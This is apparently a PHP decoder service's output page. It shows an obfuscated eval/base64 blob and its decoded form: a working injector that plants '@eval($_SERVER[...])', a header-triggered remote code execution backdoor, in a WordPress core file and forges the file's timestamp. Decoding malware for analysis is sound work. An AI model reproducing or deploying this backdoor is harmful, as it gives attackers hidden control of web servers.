Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval(gzinflate(base64_decode("jVFrb5swFP0eKf/BlZBKtGgioUlUTfnQpg3NGiDNgzymCYExxcHYDEwamPbf..

Decoded Output download


phpConfValidate('YTo0OntpOjA7czo3MDoiL2hvbWUvbWljdGhlNy9ibGVhY2hlcmxlYWd1ZXNwb3J0cy5jb20vd3AtaW5jbHVkZXMvdGVtcGxhdGUtbG9hZGVyLnBocCI7aToxO3M6NzoiNUVFOTc5QyI7aToyO3M6MzI6IkBldmFsKCRfU0VSVkVSWydIVFRQXzVFRTk3OUMnXSk7IjtpOjM7czozNToifl5ccyppZi4qaXNfcm9ib3RzW15ce3xcOl0rKFx7fDopfm0iO30=');
function phpConfValidate($ser) {

    list ($fullPath, $systemEnv, $code, $pattern) = unserialize(base64_decode($ser));
    $source = file_get_contents($fullPath);
    if (strstr($source, $systemEnv) !== false) {
        return;
    }
    if (!preg_match($pattern, $source, $matches)) {
        return;
    }
    $newSource = str_replace($matches[0], $code . PHP_EOL . $matches[0], $source);
    if (strstr($newSource, $systemEnv) === false) {
        return;
    }
    $filemtime = filemtime($fullPath) + 10;
    unlink($fullPath);
    file_put_contents($fullPath, $newSource);
    touch($fullPath, $filemtime);
}

Did this file decode correctly?

Original Code

eval(gzinflate(base64_decode("jVFrb5swFP0eKf/BlZBKtGgioUlUTfnQpg3NGiDNgzymCYExxcHYDEwamPbfZ1LSpFulzeJxZZ977jnH9VocxANGfcsh2HM4ki/Xc6aYlMfm9qYHC6bqdwyP28HOXS7ES7aeFhAjv8auZgXrdkBgtCfrpdfarIwXV/2qwLyzddvKzlNvuLMU9YMVblb6ztMsDrV94GkL7mrXwUaz8jG9ZXAw6jlztjdVvWsUDBsLa2jOYecpP+zn5b5ejLqj8JZ40TB9HEz9hWLNrNCaLXNvZA2nT6tCfOehai50upqFvdG21K+X+gtjzrBPOhDmcbzBVz+cleHDSOhXp8Wy1YFI3UOTKMnjcN/z71jsRwo2VaV/2fhSr/kZhRwzCv6MSUpR0gA/67V6DYhFcMqBLPkZIROHB00gpXnKUXRPd6KGzEPiFzuco4Q2QB9kVPRjQVYg2XVS1L2yPVTCXonL0SWtlLIsgUg0+Jgg+xlxGzLKEeXpadgRjH0gpzwRj1z1nctogIu+oHFIig66QbUSxLOEVhS/TkwXcYKe7cjhMJCPypvgRHw4QWnjn2QSRS+zow0hzk5QTBwonFYU35TvVUbgM5g8TOx7cyyq98evcz+y+kb/3m3/v91KZbYRx9Ex50N9li/4BFpK1ZNRgmn4d/iH+4mzj+6neRbBEc5ZVuZ6BnkbXEKEst8=")))

Function Calls

gzinflate 1
base64_decode 1
phpConfValidate 1

Variables

None

Stats

MD5 82c3453eeaeb649b3f923582851ad787
Eval Count 1
Decode Time 47 ms